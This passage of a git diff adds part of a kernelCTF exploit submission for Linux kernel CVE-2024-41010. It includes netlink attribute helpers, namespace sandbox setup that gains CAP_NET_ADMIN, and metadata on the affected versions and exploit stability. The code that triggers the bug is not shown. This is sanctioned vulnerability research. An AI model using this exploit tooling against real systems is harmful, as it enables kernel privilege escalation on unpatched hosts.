attr->nla_len = len; + memcpy(NLA_ATTR(attr), name, len); + + return (void *)attr + NLA_ALIGN(len); +} + +struct nlattr *set_strn_attr(struct nlattr *attr, uint16_t type, char *name, int len) +{ + attr->nla_type = type; + attr->nla_len = len; + memcpy(NLA_ATTR(attr), name, len); + + return (void *)attr + NLA_ALIGN(len); +} + +/** + * set_binary_attr(): Prepare a byte array netlink attribute + * @attr: Attribute to fill + * @type: Type of the attribute + * @buffer: Buffer with data to send + * @buffer_size: Size of the previous buffer + */ +struct nlattr *set_binary_attr(struct nlattr *attr, uint16_t type, uint8_t *buffer, uint64_t buffer_size) +{ + attr->nla_type = type; + attr->nla_len = NLA_BIN_SIZE(buffer_size); + memcpy(NLA_ATTR(attr), buffer, buffer_size); + + return (void *)attr + NLA_ALIGN(NLA_BIN_SIZE(buffer_size)); +} + +/** + * set_nested_attr(): Prepare a nested netlink attribute + * @attr: Attribute to fill + * @type: Type of the nested attribute + * @data_len: Length of the nested attribute + */ +struct nlattr *set_nested_attr(struct nlattr *attr, uint16_t type, uint16_t data_len) +{ + attr->nla_type = type; + attr->nla_len = (data_len + sizeof(struct nlattr)); + return (void *)attr + sizeof(struct nlattr); +} + +/** + * set_u32_attr(): Prepare an integer netlink attribute + * @attr: Attribute to fill + * @type: Type of the attribute + * @value: Value of this attribute + */ +struct nlattr *set_u32_attr(struct nlattr *attr, uint16_t type, uint32_t value) +{ + attr->nla_type = type; + attr->nla_len = sizeof(uint32_t) + sizeof(struct nlattr); + *(uint32_t *)NLA_ATTR(attr) = htonl(value); + + return (void *)attr + sizeof(uint32_t) + sizeof(struct nlattr); +} +struct nlattr *set_u32_attr_nat(struct nlattr *attr, uint16_t type, uint32_t value) +{ + attr->nla_type = type; + attr->nla_len = sizeof(uint32_t) + sizeof(struct nlattr); + *(uint32_t *)NLA_ATTR(attr) = value; + + return (void *)attr + sizeof(uint32_t) + sizeof(struct nlattr); +} + +/** + * set_u16_attr(): Prepare an integer netlink attribute + * @attr: Attribute to fill + * @type: Type of the attribute + * @value: Value of this attribute + */ +struct nlattr *set_u16_attr(struct nlattr *attr, uint16_t type, uint16_t value) +{ + attr->nla_type = type; + attr->nla_len = NLA_ALIGN(sizeof(uint16_t) + sizeof(struct nlattr)); + *(uint16_t *)NLA_ATTR(attr) = (value); + + return (void *)attr + NLA_ALIGN(sizeof(uint16_t) + sizeof(struct nlattr)); +} + +/** + * set_u8_attr(): Prepare an integer netlink attribute + * @attr: Attribute to fill + * @type: Type of the attribute + * @value: Value of this attribute + */ +struct nlattr *set_u8_attr(struct nlattr *attr, uint16_t type, uint8_t value) +{ + attr->nla_type = type; + attr->nla_len = NLA_ALIGN(sizeof(uint8_t) + sizeof(struct nlattr)); + *(uint8_t *)NLA_ATTR(attr) = value; + + return (void *)attr + NLA_ALIGN(sizeof(uint8_t) + sizeof(struct nlattr)); +} + +/** + * set_u64_attr(): Prepare a 64 bits integer netlink attribute + * @attr: Attribute to fill + * @type: Type of the attribute + * @value: Value of this attribute + */ +struct nlattr *set_u64_attr(struct nlattr *attr, uint16_t type, uint64_t value) +{ + attr->nla_type = type; + attr->nla_len = sizeof(uint64_t) + sizeof(struct nlattr); + *(uint64_t *)NLA_ATTR(attr) = htobe64(value); + + return (void *)attr + sizeof(uint64_t) + sizeof(struct nlattr); +} + +/** + * set_flag_attr(): Prepare a flag doesn't need data integer netlink attribute + * @attr: Attribute to fill + * @type: Type of the attribute + * @value: Value of this attribute + */ +struct nlattr *set_flag_attr(struct nlattr *attr, uint16_t type) +{ + attr->nla_type = type; + attr->nla_len = sizeof(struct nlattr); + // *(uint64_t *)NLA_ATTR(attr) = htobe64(value); + + return (void *)attr + sizeof(struct nlattr); +} diff --git a/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/src/setup.c b/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/src/setup.c new file mode 100644 index 00000000..dd0a8c1e --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/src/setup.c @@ -0,0 +1,60 @@ +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "setup.h" +#include "log.h" + +/** + * assign_to_core(): set the program running in the one cpu + * @core_id: core using + */ +void assign_to_core(int core_id) +{ + cpu_set_t mask; + CPU_ZERO(&mask); + CPU_SET(core_id, &mask); + if (sched_setaffinity(getpid(), sizeof(mask), &mask) < 0) + { + errout("sched_setaffinity"); + } +} + +/** + * setup_sandbox(): create new network namespace and new user for enable CAP_NET_ADMIN + */ +int setup_sandbox(void) +{ + struct rlimit fdlim; + cpu_set_t set; + int pid; + + // assign_to_core(DEF_CORE); + /* + Execute ourselves in a new network namespace to + be able to trigger and exploit the bug + */ + + /* For another user can communicate with netlink - somehow */ + if (unshare(CLONE_NEWUSER) < 0) + { + errout("[-] unshare(CLONE_NEWUSER)"); + // return -1; + } + + /* Network namespaces provide isolation of the system resources */ + if (unshare(CLONE_NEWNET) < 0) + { + errout("[-] unshare(CLONE_NEWNET)"); + // return -1; + } + + return 0; +} diff --git a/pocs/linux/kernelctf/CVE-2024-41010_lts/metadata.json b/pocs/linux/kernelctf/CVE-2024-41010_lts/metadata.json new file mode 100644 index 00000000..62d74c98 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-41010_lts/metadata.json @@ -0,0 +1,34 @@ +{ + "$schema":"https://google.github.io/security-research/kernelctf/metadata.schema.v2.json", + "submission_ids":[ + "exp179" + ], + "vulnerability":{ + "patch_commit":"https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?id=1cb6f0bae50441f4b4b32a28315853b279c7404e", + "cve":"CVE-2024-41010", + "affected_versions":[ + "6.6.0 - 6.9.8" + ], + "requirements":{ + "attack_surface":[ + ], + "capabilities":[ + "CAP_NET_ADMIN" + ], + "kernel_config":[ + "CONFIG_NET_SCH_INGRESS", + "CONFIG_USER_NS" + ] + } + }, + "exploits":[ + { + "environment":"lts-6.6.31", + "uses":[ + "userns" + ], + "requires_seperate_kaslr_leak":false, + "stability_notes":"70%" + } + ] + } diff --git a/pocs/linux/kernelctf/CVE-2024-41010_lts/original.tar.gz b/pocs/linux/kernelctf/CVE-2024-41010_lts/original.tar.gz new file mode 100644 index 00000000..3a3d7b67 Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2024-41010_lts/original.tar.gz differ